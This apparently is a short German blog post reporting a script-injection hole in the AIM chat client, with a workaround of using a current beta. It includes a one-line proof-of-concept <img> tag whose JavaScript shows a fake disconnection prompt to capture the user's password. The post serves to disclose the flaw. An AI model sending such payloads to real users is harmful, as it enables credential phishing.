Der AIM Client ist um es mal wie bei Heise runterzuspielen ein bissel undicht.
Es genuegt leider schon in einem <img> tag JavaScript reinzuschreiben, da der AIM Client die Windows HTML Rendering Engine benutzt wird das ganze auch leider nicht in diesem Fall abgefangen.

Ein Code Beispiel hab ich dazu:
<img src=’javascript:var passwd=window.prompt(“You have been disconnected from the network.\nPlease re-enter your password to reconnect.”, “”);alert(“You have disclosed your password:”+passwd);’>

Ein Workaround ist zb eine aktuelle Beta Version zu benutzen.

tag: Privat